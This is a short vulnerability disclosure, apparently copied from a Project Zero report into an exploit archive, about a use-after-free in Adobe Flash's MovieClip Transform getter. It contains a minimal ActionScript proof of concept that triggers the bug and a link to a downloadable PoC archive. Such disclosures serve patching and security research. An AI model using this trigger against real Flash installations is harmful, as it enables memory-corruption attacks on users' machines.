21 lines
No EOL
642 B
Text
21 lines
No EOL
642 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844
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There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:
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var mc = this.createEmptyMovieClip( "mc", 1);
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var tf = flash.geom.Transform;
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var g = flash.geom;
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g.addProperty("Transform", func, func);
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mc.f = ASnative(900, 419);
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mc.f();
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function func(){
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mc.removeMovieClip();
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// Fix heap
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}
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip |